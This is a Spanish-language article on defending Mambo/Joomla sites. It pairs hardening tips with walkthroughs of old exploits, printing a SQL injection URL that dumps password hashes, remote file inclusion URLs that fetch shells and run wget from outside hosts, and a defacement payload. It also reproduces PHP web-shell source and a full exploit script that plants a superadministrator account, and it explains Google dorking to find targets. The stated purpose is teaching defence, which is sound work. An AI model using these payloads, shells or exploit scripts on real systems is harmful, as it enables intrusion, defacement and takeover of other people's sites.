Cómo evitar hackeos en sitios Mambo/JoomlaPor favor no utilices este recurso para hacer daño a quienes trabajan y dedican tiempo y esfuerzo en proyectos o sitios web. Utiliza este material para aprender más sobre seguridad y protegerte. La mejor forma de evitar hackeos e intrusiones es conociendo cómo actúan los hackers y qué acciones ejecutan para defasar, apropiarse o estropear sitios web ajenos. Voy a distinguir entre dos grupos: hackers - crackers, y pseudo-hackers, lamers y script kiddies Los primeros son personas que buscan vulnerabilidades para informar y proteger posibles víctimas, o contribuir al arreglo de los bugs / vulnerabilidades de seguridad. Los segundos son los típicos pelotudos con la autoestima muy baja que en muchos casos no saben ni cómo se ejecuta un comando shell pero sin embargo se las ingenian para buscar en foros o sitios de hackers la manera de hacer daño a los demás y estropear el trabajo de otros simplemente para alimentar su triste ego (vean un ejemplo: http://foro.elhacker.net/index.php/topic,75216.0.html). En el caso particular que me toca a mi, el hacker que se introdujo en los sistemas de dos de mis clientes, dejaba mensajes de amor a su novia, para demostrarle a ella cuán valiente es, y de las osadías de que es capaz de hacer. Este tipo de personas, y el daño que me han provocado profesionalmente hace unos días atrás, me lleva a escribir este artículo sobre seguridad para Mambo/Joomla. 10 consejos para evitar la intrusión de hackers en Mambo/Joomla:- Descarga Mambo/Joomla sola y únicamente de los sitios oficiales: www.joomla.org y http://mamboforge.net
- No instales componentes o módulos con poca fama, o sin soporte. El core del sistema puede ser impenetrable pero si instalas algún addon vulnerable, vuelves vulnerable todo.
- Haz back up periodicamente tanto de la base de datos como de los archivos
- Manten actualizado el sistema con la última versión. Al momento de descubrirse una vulnerabilidad es muy corto el tiempo en el cual se desarrolla un parche o arreglo para la misma. Si tienes el sistema actualizado y/o parcheado con los últimos patches disminuyes notablemente la probabilidad de que te hackeen el site.
- Utiliza .htaccess para controlar los accesos, y para proteger con contraseña el directorio /administrator/ (HTTP Authentication)
- Utiliza servicios online de detección y alertas contra hackers
- Investiga y conoce muy bien el funcionamiento de usuarios y permisos en sistemas Unix/Linux. No otorgues permisos innecesarios de escritura a cualquier archivo o directorio. Haz no escribible el archivo configuration.php luego de hacer cambios.
- Utiliza componentes SEFs avanzados para enmascarar las verdaderas URLs de Mambo/Joomla
- Evita utilizar nombres o contraseñas "fáciles" de adivinar o de vulnerar mediante "fuerza bruta". Nunca utilices las mismas contraseñas y usuarios para FTP y para las bases de datos (esto último es muy peligroso). Evita utilizar "admin" y "admin" para el ingreso al administrador del sistema.
- Contrata hostings profesionales, donde conocen a fondo y dan mucha importancia al tema de la seguridad. La configuración de PHP es vital aquí: Registros globales desactivados, modo seguro, activación de comillas mágicas GPC, ejecución de shell deshabilitado para PHP, etc.
- Deshabilita el reporte de errores de PHP, hasta cuando necesites identificar problemas únicamente.
Explotando vulnerabilidadesLas vulnerabilidades son agujeros de seguridad por donde el hacker puede introducirse de alguna manera en el sistema y luego utilizar estas vulnerabilidades mismas para propósitos con malas intenciones. Aquel medio o herramienta que le permite al hacker introducirse clandestinamente en un sitio web o servidor se le llama "EXPLOIT". Esto puede ir desde sencillas ejecuciones de códigos por URL hasta la programación de complejos scripts en PHP utilizados remotamente para vulnerar sitios Joomla/Mambo Algunos términos relacionados: XSS (Cross Site Scripting) - este tipo de vulnerabilidad es consecuencia de errores en el filtrado de las entradas de datos en aplicaciones web. Remote File Inclusion - Técnica de hackeo avanzado mediante la cual se incluye scripts con código PHP/Perl (sin ejecutar) en servidores remotos (utilizados por los hackers), los cuales ejecutan acciones arbitrarias en el servidor de la víctima. Backdoor - script programado en PHP/Perl que le permite al hacker (luego de que ha conseguido subirlo al servidor de la víctima), subir nuevos archivos, forzar permisos, recorrer directorios, editar o borrar archivos, ejecutar sentencias shell o sql, etc. Un back-door es una especie de mini "panel de control" de archivos en el servidor (algo muy peligroso). Vulnerabilidades en el historial de MamboAlgunos ejemplos de vulnerabilidades en las primeras versiones de Mambo. Versión Mambo 4.0.14Problema 1: Se produce un fallo en el sistema al ejecutar http://www.sitiovulnerable.com/mambo/banners.php sin argumentos. Esto le muestra al hacker información vital que deja al descubierto las rutas relativas en el sistema de directorios del servidor, asignado a este usuario: | Warning: mysql_query(): Access denied for user: 'apache@localhost' (Using password: NO) in /home/usuariovulnerable/public_html/mambo/banners.php on line 35 Warning: mysql_query(): A link to the server could not be established in /home/usuariovulnerable/public_html/mambo/banners.php on line 35 Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/usuariovulnerable/public_html/mambo/banners.php on line 35 Fatal error: Call to a member function on a non-object in /home/usuariovulnerable/public_html/mambo/banners.php on line 44 |
(Actualmente este problema no sucede porque no se puede ingresar directamente a un archivo del sistema. Si se intenta hacer esto se recibirá un error "Direct access to this location is not allowed") Muchas personas utilizan el nombre de usuario en su cuenta de hosting idéntico a su contraseña. Con el caso anterior entonces el hacker ya sabe que el nombre de usuario del sistema donde corre el sitio es "usuariovulnerable". A continuación probará para ver si esta palabra también es su contraseña. Problema 2: Inyección SQL. En esta ocasión se muestra cómo se le pasan valores de argumentos a Mysql arbitrariamente desde la URL. Esto ejecuta una consulta SQL que imprimirá los valores de las passwords de los usuarios (encriptado con MD5) en un archivo de textos cualquiera que posea permisos de escritura. (Esto siempre y cuando estén deshabilitadas las comillas mágicas de PHP) http://www.sitiovulnerable.com/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile '/home/usuariovulnerable/public_html/version.txt' Problema 3: Haciendo Spam utilizando el servidor de email de la víctima. Ejecutando la siguiente url en el sitio con esta vulnerabilidad el hacker envía anónimamente un email desde www.sitiovulnerable.com a
Este correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador
, por ejemplo. http://www.sitiovulnerable.com/mambo/contact.php?op=sendmail&text=this%20is%20 spam&from=none&name=Admin&email_to=
Este correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador
&sitename=hacker-site.com ¿Cómo hacen los exploiters para encontrar o crear exploits?Muy sencillo: al ser Mambo/Joomla Opensource, simplemente estudian su código fuente en busca de variables cuyos valores se toman sin validación. También se aprovechan de algunas configuraciones endebles de PHP/Apache en el servidor. ¿Cómo hacen los hackers para buscar sus víctimas?Buscan en Google. Es más, los hackers avanzados programan los mismos exploits para ejecutar búsquedas automáticas en Google o Yahoo, y encontrar sus víctimas fácilmente. Un ejemplo: Supongamos que yo deseo encontrar solamente sitios hechos en Mambo o Joomla. ¿Cómo hago para buscar en un buscador? En primer lugar, yo sé que las URLs de Mambo/Joomla contienen: "index.php?option=com_content". Lo que hago entonces es irme a Google y buscar solo eso: "http://www.google.com.ar/search?q=index%2Ephp%3Foption%3Dcom%5Fcontent" De esta forma, me aseguro de que los resultados serán exclusivamente de sitios creados con Mambo/Joomla ¿Cómo se averigua fácilmente qué versión de Mambo/Joomla posee un sitio determinado?Muy sencillo, esto aparece en las etiquetas META-GENERATOR, o también se puede ingresar al login del admin y ver la interfaz y o la versión del sistema que utiliza el sitio. Ejemplo: http://www.sitio.com/administrator/ ¿Cómo descubrir un hacker que intenta (o ya logró) penetrar nuestro sistema?Puesto que las intrusiones por el Método POST (mediante formularios) ya son muy conocidas y más controladas, los hackers prefieren buscar y explotar vulnerabilidades por el método GET (mediante URL). Observando periodicamente los access logs y las estadísticas podemos buscar URLs con código sospechoso. Si alguien ya logró penetrar tu sistema, puede estar trabajando en un modo silencioso o puede mostrar lo que ha logrado en tu home page, con mensajes como: Hacked by...Defaced by...En el caso de que alguien se haya entrometido en tu sistema y esté trabajando "silenciosamente", revisa cuidadosamente los archivos y directorios de tu sitio. El hacker puede haberte subido backdoors para operar con ellos. Revisa tu directorio de imágenes, de cache, y en general los directorios con permisos 777. Verás archivos extraños con nombres raros como: dbblogin.php, arjuna.php, back-file.php, y otros... Algunos ejemplos de intentos de intrusión mediante la inclusión de archivos remotos con código php (lo que se muestra es parte del access log de Apache): /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1 &GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/pablin77/pa.html
/index.php?_GET=on 166.114.30.40 - - [22/Mar/2005:14:32:08 +0100] "GET /administrator/classes/pcltar.lib.php?g_pcltar_lib_dir=http://www.geocities.co m/xtremeacidburn/cjarl.txt?&query=chmod%20777%20s.pl HTTP/1.0" 200 5 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5 ) Gecko/20041107 Firefox/1.0" GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= http://usuarios.lycos.es/pepebenjabenja/shell.gif?&cmd= cd%20/data/apache/virtual/www.HACKEDSITE.com: 80/cache;rm%20-rf%20 barclays.tgz;wget%20http://www.atempto.com/barclays.tgz;tar%20zxvf%20barclays.tgz |
Observa siempre los logs de tu servidor para detectar este tipo de llamada a variables por URL, y también advierte estos sitios donde los hackers suben los scripts que ejecutan las acciones malignas tras ser incluidos en tu propio servidor. Técnicas avanzadas de Hackeo para sitios Mambo/JoomlaInclusión remota de archivos, subida de backdoors, y utilización de comandos shellVer fundamentos de "remote file inclusion" en: http://foro.elhacker.net/index.php/topic,46179.msg216293.html#msg216293 Ejemplo 1: Vulnerabilidad en Mambo 4.5.1.xLa URL que ejecuta el hacker es la siguiente: http://www.sitiovictima.com/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1 &GLOBALS=&mosConfig_absolute_path=http://www.freewebs.com/pablin77/pa.html Observen cómo se incluye un archivo que se ejecuta en otro servidor como valor de mosConfig_absolute_path Luego, si entramos en la web del hacker: http://www.freewebs.com/pablin77/pa.html a simple vista solo veremos una pantalla verde con un mensaje, pero si vamos en el navegador a "ver" >> código fuente , observamos lo siguiente: $fp=fopen("./configuration.php","w+"); fwrite($fp,"
Owned by XTech Inc 2oo5 owneD!
By XTech Inc. 2005 irc.fullnetwork.org #XTech we are: Status-x - pablin77 - k3yhol3
\n"); fclose($fp); ?>
Copia el código fuente de arriba y guardalo como un fichero .html. Luego subilo al servidor y observa cómo se ve, en comparación a su código fuente. Observa la instrucción "dañina": $fp=fopen("./configuration.php","w+"); fwrite( ... Esto le indica a PHP que abra el archivo configuration.php y que escriba en él el código maligno (que en realidad es un código html que muestra una imagen con un mensaje del hacker) Ejemplo 2: Vulnerabilidad en Mambo 4.5.1.x http://www.victima.com/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= http://usuarios.lycos.es/pepebenjabenja/shell.gif?&cmd= cd%20/data/apache/virtual/www.HACKEDSITE.com: 80/cache;rm%20-rf%20 barclays.tgz;wget%20http://www.atempto.com/barclays.tgz;tar%20zxvf%20barclays.tgz Analicemos un poco esto: - http://www.victima.com es el sitio web de quien es hackeado
- /index.php es el archivo que lleva a cabo la ejecución del script
- _REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path son los parámetros vulnerables y los valores pasados arbitrariamente por URL
- http://usuarios.lycos.es/pepebenjabenja/shell.gif es el script maligno, que ejecuta comandos shell mediante PHP. Se llama desde el servidor del hacker y se utiliza una extensión como .gif o .txt o cualquier otra que no sea PHP (para que el servidor del hacker no ejecute el código). Este se incluye en un archivo vulnerable del servidor del servidor de la víctima, y luego se ejecuta normalmente como si se tratase de un simple "include"
- cmd es una variable que representa los comandos que se pasarán por URL al script
- cd, rm, wget y tar son comandos de Unix/Linux que el hacker utiliza para subir al servidor de la víctima un archivo (barclays.tgz) remotamente tomado desde http://www.atempto.com/ que luego se descomprime con otro comando
Código fuente de http://usuarios.lycos.es/pepebenjabenja/shell.gif \n Este correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador
Modifique, copie e distribua mas, por favor, mantenha o nome dos autores originais --> @closelog(); @error_reporting(0); $vers="1.6beta"; $remote_addr="http://127.0.0.1/~snagnever/defacement/paginanova/";//url $format_addr=".txt";//formato $string_addr=$remote_addr."pro16".$format_addr;//cmd $safe_addr=$remote_addr."safe16".$format_addr;//safemode $writer_addr=$remote_addr."writer16".$format_addr;//writer $phpget_addr=$remote_addr."get16".$format_addr;//phpget $feditor_addr=$remote_addr."feditor".$format_addr;//main feditor $put_addr=$remote_addr."feditor_put".$format_addr;//file writer $total_addr="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $chdir=$_GET['chdir']; if($chdir=="")$chdir=getcwd(); $cmd=$_GET['cmd']; $cmd=stripslashes($cmd); $ch_msg=""; $login=@posix_getuid(); $euid=@posix_geteuid(); $gid=@posix_getgid(); if (strpos($cmd, 'chdir')!==false and strpos($cmd, 'chdir')=='0'){ $boom = explode(" ",$cmd,2); $boom2 = explode(";",$boom['1'], 2); $diretorio = $boom2['0']; if($boom['1']=="/")$chdir=""; else if(strpos($cmd, 'chdir ..')!==false){ $cadaDir = array_reverse(explode("/",$chdir)); if($cadaDir['0']=="" or $cadaDir['0'] ==" ") $lastDir = $cadaDir['1']."/"; else{ $lastDir = $cadaDir['0']."/"; $chdir = $chdir."/";} $diretorio = str_replace($lastDir,"",$chdir); if($diretorio=="/")$chdir=""; } if(strrpos($diretorio,"/")==(strlen($diretorio)-1)) $diretorio=substr($diretorio,0,strrpos($diretorio,"/")); if(@opendir($diretorio)!==false) $chdir=$diretorio; else if(@opendir($chdir."/".$diretorio)!==false) $chdir=$chdir."/".$diretorio; else $ch_msg="dtool: line 1: chdir: $diretorio: No such directory or permission denied.\n"; if($boom2['1']==null) $cmd = $boom['2']; else $cmd = $boom2['1'].$boom2['2']; } $cmdshow=$cmd; if($chdir==getcwd() or empty($chdir) or $chdir=="")$showdir="";else $showdir="+'chdir=$chdir&'"; if (@is_dir("/usr/X11R6/")) $pro0="X11 em /usr/X11R6/, "; if (@file_exists("/usr/X11R6/bin/xterm")) $pro1="xterm em /usr/X11R6/bin/xterm, "; if (@file_exists("/usr/bin/nc")) $pro2="nc em /usr/bin/nc, "; if (@file_exists("/usr/bin/wget")) $pro3="wget em /usr/bin/wget, "; if (@file_exists("/usr/bin/lynx")) $pro4="lynx em /usr/bin/lynx, "; $ip=@gethostbyname($_SERVER['HTTP_HOST']); $pro=$pro0.$pro1.$pro2.$pro3.$pro4; if(strpos($cmd, 'ls --') !==false){ $cmd = str_replace('ls --', 'ls -F --', $cmd);} else if(strpos($cmd, 'ls -') !==false){ $cmd = str_replace('ls -', 'ls -F', $cmd);} else if(strpos($cmd, ';ls') !==false){ $cmd = str_replace(';ls', ';ls -F', $cmd);} else if(strpos($cmd, '; ls') !==false){ $cmd = str_replace('; ls', ';ls -F', $cmd);} else if($cmd=='ls'){$cmd = "ls -F";} if(strpos($chdir, '//') !==false) $chdir = str_replace('//', '/', $chdir); ?>
[ Defacing Tool Pro v=$vers;?> ] ?
by r3v3ng4ns -
Este correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador
|
$uname = @posix_uname(); while (list($info, $value) = each ($uname)) { ?>
=$info ?>: =$value;?> |
user: uid(=$login;?>) euid(=$euid;?>) gid(=$gid;?>) |
write permission: if(@is_writable($chdir)){ echo " YES"; }else{ echo " no"; } ?> |
server info: ="$SERVER_SOFTWARE $SERVER_VERSION";?> |
pro info: ip ="$ip, $pro";?> | if($chdir!=getcwd()){?>
original path: =getcwd() ?> | } ?>
current path: =$chdir ?>
|
|
|
stdOut from ="\"$cmdshow\", using $fe()";?>
|
Ejemplo 3: El hacker consiguió el ingreso al administrador de Mambo/Joomla - Consigue un sitio Mambo/Joomla cuyo ingreso al administrador sea admin / admin (u otra combinación sencilla de adivinar o vulnerar mediante fuerza bruta)
- Una vez que consigue ingresar al admin, se va a los templates y edita el index.php de algún template que no se utilice. (Esto es posible hacerlo desde el mismo administrador, si los archivos index.php de los templates son escribibles)
- Borra el código del template en cuestión y coloca el de un backdoor programado en php, a continuación guarda el cambio.
- Luego accede directamente al backdoor por URL, con su ruta completa, por ejemplo: http://www.sitiovulnerable.com/templates/rhuk_solarflare/index.php
- Con el backdoor ejecutándose en el servidor, hace y deshace lo que él/ella quiere. Puede destruir un sitio web íntegramente.
Ejemplo 4: Vulnerabilidad de mod_mainmenu.class.php en Mambo 4.5 1.0.9Esta versión de Mambo permite ejecución remota de código en ./modules/mod_mainmenu.php Cualquiera puede inyectar una URL en la variable $mosConfig_absolute_path y obtener la ejecución remota de código con los privilegios del servidor web, generalmente nobody. Archivo mod_mainmenu.php que presenta la vulnerabilidad: (..) // $module is defined in the calling function // $params is defined in the calling function require_once( "$mosConfig_absolute_path/modules/mod_mainmenu.class.php" ); (..) ?> ¿Qué tiene de malo este código? Bueno, lo malo está aquí: require_once( "$mosConfig_absolute_path/modules/mod_mainmenu.class.php" ); ya que no se verifica cómo se ingresa el valor de la variable $mosConfig_absolute_path Un hacker puede explotar esto de la siguiente manera: 1) Se crea un script con el siguiente código y se lo guarda como mod_mainmenu.class.php /* Author: FraMe ( frame at kernelpanik.org ) URL: http://www.kernelpanik.org */ // Just change this vars ------------------------------ $hacker_nick = 'hacker'; $hacker_pass = 'hacker'; $base_path_url = "/home/victima/public_html/"; # <-- ending slash (path victima) // ---------------------------------------------------- $body = <<\$hacker_nick = "$hacker_nick"; \$hacker_pass = md5("$hacker_pass"); \$base_path_url = "$base_path_url";
include(\$base_path_url."configuration.php"); \$conn = mysql_connect("\$mosConfig_host", "\$mosConfig_user", "\$mosConfig_password"); mysql_select_db("\$mosConfig_db"); \$rmht_sql = "INSERT INTO mos_users VALUES (800, 'hax0r', '\$hacker_nick', 'admin wherever', ". "'\$hacker_pass', 'superadministrator', 0, 1, 25, '2003-11-11 00:00:00', '0000-00-00 00:00:00'); "; \$resultado = mysql_query(\$rmht_sql); \$rmht_sql = "INSERT INTO mos_core_acl_aro VALUES (800,'users','800',0,'hax0r',0);"; \$resultado = mysql_query(\$rmht_sql); \$rmht_sql = "INSERT INTO mos_core_acl_groups_aro_map VALUES (25,'',800);"; \$resultado = mysql_query(\$rmht_sql); mysql_close(\$conn); ?> END; print $body; ?> 2) Se genera algún error de PHP intencionalmente para que este revele la ruta de directorios de la víctima y luego poder cambiar en el script malicioso: $base_path_url = "/home/victima/public_html/"; # <-- ending slash (path victima) 3) Se lo sube a un servidor que esté en poder del hacker y se lo coloca en un directorio llamado /modules/, de tal manera que pueda llamarse a este script así: http://www.sitiohacker.com/modules/mod_mainmenu.class.php 4) Se llama a la URL de la víctima de esta manera: http://www.sitiovicitma.com/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.sitiohacker.com A continuación, el script interpretado (tener en cuenta que es .php) en el servidor del hacker generará una salida como: \$hacker_nick = "$hacker_nick"; \$hacker_pass = md5("$hacker_pass"); \$base_path_url = "$base_path_url";
include(\$base_path_url."configuration.php"); \$conn = mysql_connect("\$mosConfig_host", "\$mosConfig_user", "\$mosConfig_password"); mysql_select_db("\$mosConfig_db"); \$rmht_sql = "INSERT INTO mos_users VALUES (800, 'hax0r', '\$hacker_nick', 'admin wherever', ". "'\$hacker_pass', 'superadministrator', 0, 1, 25, '2003-11-11 00:00:00', '0000-00-00 00:00:00'); "; \$resultado = mysql_query(\$rmht_sql); \$rmht_sql = "INSERT INTO mos_core_acl_aro VALUES (800,'users','800',0,'hax0r',0);"; \$resultado = mysql_query(\$rmht_sql); \$rmht_sql = "INSERT INTO mos_core_acl_groups_aro_map VALUES (25,'',800);"; \$resultado = mysql_query(\$rmht_sql); mysql_close(\$conn); ?> Si hacen la prueba y ejecutan el script (en el servidor del hacker), luego observan el código fuente que será como lo anterior. 5) En el servidor de la víctima este script es interpretado y ejecutado. El script insertará un usuario superadministrador en la base de datos de Mambo (en este ejemplo con usuario y contraseña: hacker/hacker) 6) El hacker ya tiene acceso a Mambo como superadministrador del sistema. Conclusión:Son muy variadas las artimañas con que los hackers y exploiters logran penetrar en sistemas ajenos. Como habrán visto en los ejemplos anteriores, todo se reduce a estudiar el código fuente de Mambo/Joomla para descubrir variables o arrays que toman sus valores sin ningún tipo de validación. Es ahí cuando se requiere saber de un poco de programación para crear exploits (en este caso en forma de scripts php) que se incluyen y luego se ejecutan en el servidor de la víctima realizando acciones variadas y de todo tipo: - subida de backdoors,
- borrado o editado de archivos,
- visualización en pantalla de código fuente y datos de configuración,
- manipulación de la base de datos,
- etc.
Muchas veces, los hackers son personas con intenciones benignas, dotadas de una inteligencia y capacidad inusual para filtrarse en sistemas ajenos, pero que no hacen daño alguno; es más contribuyen con sus experimentos y conocimientos a dotar de seguridad los sistemas vulnerables. En otros casos, se trata de personas (pseudo-hackers) que buscan constantemente la información que publican los verdaderos hackers en Internet sobre cómo vulnerar tal o cual sistema, pero son tán incapaces y tán faltos no solo del sentido del respeto a terceros sino también de inteligencia, que necesitan Manuales para Principiantes explicados paso a paso sobre cómo entrometerse en sistemas ajenos. Cuando lo consiguen, no hacen otra cosa que destruir, malograr, y estropear el trabajo de otros, aunque esto les implique pasarse días buscando en Google algún sitio vulnerable para meterse y alimentar su ego. El Core Team de Joomla ha realizado enormes avances en los temas de seguridad. Inclusive existe un departamento de seguridad dentro del equipo de desarrollo que constantemente revisa el código y repara las vulnerabilidades suceptibles de explotación maligna. Aún así, para evitar malos momentos, te recomiendo que sigas los 10 consejos para evitar hackers en tu sitio Mambo/Joomla, enunciados al principio del documento. Finalmente, te invito, lector, a que sigas investigando sobre el tema, este documento es muy incompleto pero en la red hay muchísima información. Puedes buscar "seguridad en Apache", "seguridad PHP", "inyección sql", xss (cross site scripting), puedes visitar foros de hackers o de seguridad para Mambo/Joomla, etc. Apéndice: Tipos de Backdoors utilizados para hackear sitios Joomla/MamboLos scripts que se utilizan para la manipulación de ficheros o de la base de datos pueden encontrarse en: http://www.hotscripts.com/PHP/Scripts_and_Programs/File_Manipulation/index.html o en http://www.hotscripts.com/PHP/Scripts_and_Programs/Server_Management/index.html Algunos ejemplos... Script 1: script en php que ejecuta comandos de shell. define('PHPSHELL_VERSION', 'Arjuna !!!'); $passwd = array('ary' => 'ary2'); /* if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($passwd[$_SERVER['PHP_AUTH_USER']]) || $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) { header('WWW-Authenticate: Basic realm="PhpShell 1.8"'); header('HTTP/1.0 401 Unauthorized'); $authenticated = true; } else { $authenticated = true; } */ $authenticated = true; header('Content-Type: text/html; charset=UTF-8'); echo '' . "\n"; ?>
Arjuna PhP SheLLHehehehe.. dasar You failed to authenticate yourself to PhpShell. You can href="phpshell.php">reload to try again. error_reporting (E_ALL); $work_dir = empty($_REQUEST['work_dir']) ? '' : $_REQUEST['work_dir']; $command = empty($_REQUEST['command']) ? '' : $_REQUEST['command']; $stderr = empty($_REQUEST['stderr']) ? '' : $_REQUEST['stderr']; /* First we check if there has been asked for a working directory. */ if ($work_dir != '') { /* A workdir has been asked for */ if ($command != '') { if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { /* We try and match a cd command. */ if ($regs[1][0] == '/') { $new_dir = $regs[1]; // 'cd /something/...' } else { $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...' } if (file_exists($new_dir) && is_dir($new_dir)) { $work_dir = $new_dir; } $command = ''; } } } if ($work_dir != '' && file_exists($work_dir) && is_dir($work_dir)) { /* We change directory to that dir: */ chdir($work_dir); } /* We now update $work_dir to avoid things like '/foo/../bar': */ $work_dir = exec('pwd'); ?> Copyright © January 2004, href="mailto:
Este correo electrónico esta protegido de \†Spam Bots\†, debes tener Javascript activado en tu navegador
"> by Arjuna. |